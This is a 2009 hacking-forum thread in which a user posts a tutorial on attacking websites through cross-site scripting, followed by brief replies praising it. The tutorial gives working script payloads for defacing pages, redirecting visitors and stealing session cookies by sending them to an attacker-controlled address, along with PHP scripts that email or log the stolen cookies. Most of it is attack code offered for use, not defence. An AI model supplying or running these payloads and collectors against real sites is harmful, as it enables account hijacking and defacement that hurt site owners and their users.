+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: XSS Tutorial - Cross Scripting Attacks (/showthread.php?tid=47009)
XSS Tutorial - Cross Scripting Attacks - FeAR Being - Jan 25, 2009
Author : â™ ÃΩ®l!Xu$â™ â„¢ --[X-TrEme TeAm]--
CROSS SCRIPTING ATTACK - XSS
In this tutorial I will show you how to hack a website using XSS.The ones I used for demonstration I did not hurt, and I take no responsibility if you do use them.
Parts Of The Tutorial:
1)Vulnerability Test
2)Defacing
3)Stealing Login Information
Vulnerability Test:
It's pretty simple to find a XSS vulnerability.
Steps:
1)Find a textbox in the site or something where you can submit text.
2)Type in the following:
Code
<script>alert("XSS");</script>3)If it is vulnerable it should look like this:
[IMG]http://i34.[censored].com/tar88g.png[/IMG]
Defacing:
There are some ways to deface a site when you find a XSS vulnerability.
Makes A Picture Pop-Up:
Code
"><script>location="www.[censored].com/YOURDEFACEPIC";</script>Replace The Content Of The Page By An Image:
Code
<img src="yourevilpic.com">Redirect To A Webpage:
Code
<meta http-equiv="refresh" content="0;url=http://www.youhacx0rpic.com/Haxored.html" />Stealing Login Information:
The first way to do it is to put the following code on the textbox.If there is an Username field and a Password field just put it on both.
Code
<script>alert(document.cookie);</script>It should look like this if it is vulnerable and there is any login information:
[IMG]http://i33.[censored].com/2iasjzs.png[/IMG]
Then just get an cookie editor for Firefox or use Opera browser(which has an cookie editing function)
Cookie Stealing:
In this way of cookie stealing, you set files in a server and then you inject XSS into the login(s)/url.
I didint made the code's for this part, thats why I dont explain 2 mutch.
URL/Login:
Code
<script>alert(www.yoursite.com/cookiestealer.php)</script>OR
Code
<script>document.location='www.yoursite.com/cookiestealer.php?cookie='+escape(document.cookie) </script>OR
Code
<script>
document.location = 'http://yoursite.com/steal.php?cookie=' + document.cookie;
</script>Cookiestealer.php:
Code
<?
mail("[email protected]","cookie monster",$_REQUEST['cookie']);
?>
<html>
<script>document.location='http://tutorialblog.org/free-vector-downloads-part2/'</script>
</html>OR
Code
<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>In the one up you should have the following files on your server:
-cookiestealer.php(The Script)
-log.txt(The File Where The Logs Will Be Stored)
This is for any page that has got a Text Box and a Submit Button and that accepts HTML tags(Like Those Blog Commentary Posters):
Code
<a href="javascript:void(document.location='http://yoursite.com/cookiestealer.php?cookie='+
document.cookie)">Something</a>Tutorial made by â™ ÃΩ®l!Xu$â™ â„¢.Hope it helps ;)
- ohytheng - Jan 25, 2009
Nice...
😏
Keep it up..
- slice - Jan 25, 2009
THANKS MAN JUST WHAT I WAS SEARCHING FOR!
- Proxy - Jan 25, 2009
Really good!
Keep on going. =)
- FeAR Being - Jan 27, 2009
Np guys ;)
- sQneK - Jan 27, 2009
good turtorial thnX :)
- cylon - Jan 27, 2009
big up 4 this
- blackcat - Jan 30, 2009
thx for the tut dude :)
- FeAR Being - Feb 6, 2009
Sticky please?(:
- muhibur - Feb 6, 2009
brilliant man
- Tr1x - Feb 6, 2009
Darlixus, my good friend! Good work
- Elite-Soft - Feb 6, 2009
yah its brilliant..
- FeAR Being - Feb 6, 2009
(Feb 6, 2009 11:59 AM)Tr1x Wrote: Darlixus, my good friend! Good work
Good to see u around trix ;)
- Galisss - Feb 6, 2009
you deserve to die...DOUBLE POSTERS DESERVE TO DIE !!!this tut is copied from zero thunder hacker ! n00b !
- W4rlOCk - Feb 6, 2009
Lol nice tut i read this on hbx keep it up.